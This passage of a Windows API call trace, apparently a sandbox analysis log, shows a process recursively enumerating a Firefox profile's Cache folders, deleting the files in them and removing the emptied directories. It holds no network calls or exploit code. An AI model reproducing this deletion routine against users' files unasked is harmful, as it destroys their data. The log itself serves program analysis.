RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xac) returned 0x9a6e990 [0117.311] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0117.311] PathCombineW (in: pszDest=0x9a6e990, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\3", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\3\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\3\\*.*" [0117.311] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\3\\*.*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x635523f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x635523f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName=".", cAlternateFileName="")) returned 0x44668e0 [0117.311] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x635523f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x635523f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="..", cAlternateFileName="")) returned 1 [0117.311] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x635523f0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x635523f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x635523f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="DA", cAlternateFileName="")) returned 1 [0117.311] lstrlenW (lpString="DA") returned 2 [0117.311] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\3", pszFile="DA" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\3\\DA") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\3\\DA" [0117.311] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\3\\DA") returned 84 [0117.311] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.311] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.311] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.311] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\3\\DA", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\3\\DA\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\3\\DA\\*.*" [0117.311] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\3\\DA\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x635523f0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x635523f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x635523f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.330] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x635523f0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x635523f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x635523f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.330] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x635523f0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x635523f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x635523f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x48b7, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="2555Ed01", cAlternateFileName="")) returned 1 [0117.330] lstrlenW (lpString="2555Ed01") returned 8 [0117.330] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\3\\DA", pszFile="2555Ed01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\3\\DA\\2555Ed01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\3\\DA\\2555Ed01" [0117.330] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\3\\DA\\2555Ed01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\3\\da\\2555ed01")) returned 1 [0117.339] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x635523f0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x635523f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x635523f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x48b7, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="2555Ed01", cAlternateFileName="")) returned 0 [0117.339] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.339] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.339] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.339] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.339] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\3\\DA" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\3\\da")) returned 1 [0117.339] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x635523f0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x635523f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x635523f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="DA", cAlternateFileName="")) returned 0 [0117.339] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0117.339] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0117.339] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0117.339] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0117.339] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\3")) returned 1 [0117.340] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x5695a6d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x5695a6d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="4", cAlternateFileName="")) returned 1 [0117.340] lstrlenW (lpString="4") returned 1 [0117.340] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\", pszFile="4" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\4") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\4" [0117.340] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\4") returned 81 [0117.340] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e010 [0117.340] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xac) returned 0x9a6e990 [0117.340] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0117.340] PathCombineW (in: pszDest=0x9a6e990, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\4", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\4\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\4\\*.*" [0117.340] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\4\\*.*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x5695a6d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x5695a6d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName=".", cAlternateFileName="")) returned 0x44668e0 [0117.340] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x5695a6d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x5695a6d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="..", cAlternateFileName="")) returned 1 [0117.340] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5695a6d0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x5695a6d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x5695a6d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="EE", cAlternateFileName="")) returned 1 [0117.340] lstrlenW (lpString="EE") returned 2 [0117.340] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\4", pszFile="EE" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\4\\EE") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\4\\EE" [0117.341] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\4\\EE") returned 84 [0117.341] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.341] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.341] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.341] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\4\\EE", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\4\\EE\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\4\\EE\\*.*" [0117.341] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\4\\EE\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5695a6d0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x5695a6d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x5695a6d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.341] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5695a6d0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x5695a6d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x5695a6d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.341] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5695a6d0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x5695a6d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x5695a6d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x4192, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="95599d01", cAlternateFileName="")) returned 1 [0117.341] lstrlenW (lpString="95599d01") returned 8 [0117.341] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\4\\EE", pszFile="95599d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\4\\EE\\95599d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\4\\EE\\95599d01" [0117.341] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\4\\EE\\95599d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\4\\ee\\95599d01")) returned 1 [0117.347] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5695a6d0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x5695a6d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x5695a6d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x4192, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="95599d01", cAlternateFileName="")) returned 0 [0117.347] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.347] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.347] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.347] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.347] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\4\\EE" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\4\\ee")) returned 1 [0117.348] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5695a6d0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x5695a6d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x5695a6d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="EE", cAlternateFileName="")) returned 0 [0117.348] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0117.348] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0117.348] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0117.348] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0117.348] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\4" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\4")) returned 1 [0117.348] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63636c30, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63636c30, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="5", cAlternateFileName="")) returned 1 [0117.348] lstrlenW (lpString="5") returned 1 [0117.348] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\", pszFile="5" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5" [0117.348] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5") returned 81 [0117.348] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e010 [0117.348] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xac) returned 0x9a6e990 [0117.348] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0117.348] PathCombineW (in: pszDest=0x9a6e990, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\*.*" [0117.348] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\*.*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63636c30, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63636c30, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName=".", cAlternateFileName="")) returned 0x44668e0 [0117.349] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63636c30, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63636c30, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="..", cAlternateFileName="")) returned 1 [0117.349] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x63636c30, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63636c30, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63636c30, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="1B", cAlternateFileName="")) returned 1 [0117.349] lstrlenW (lpString="1B") returned 2 [0117.349] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5", pszFile="1B" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\1B") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\1B" [0117.349] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\1B") returned 84 [0117.349] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.349] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.349] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.349] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\1B", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\1B\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\1B\\*.*" [0117.349] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\1B\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x63636c30, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63636c30, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63636c30, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.349] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x63636c30, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63636c30, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63636c30, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.349] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63636c30, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63636c30, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63636c30, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x4738, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="2561Dd01", cAlternateFileName="")) returned 1 [0117.349] lstrlenW (lpString="2561Dd01") returned 8 [0117.349] PathCombineW (in: pszDest=0x9a6e480, 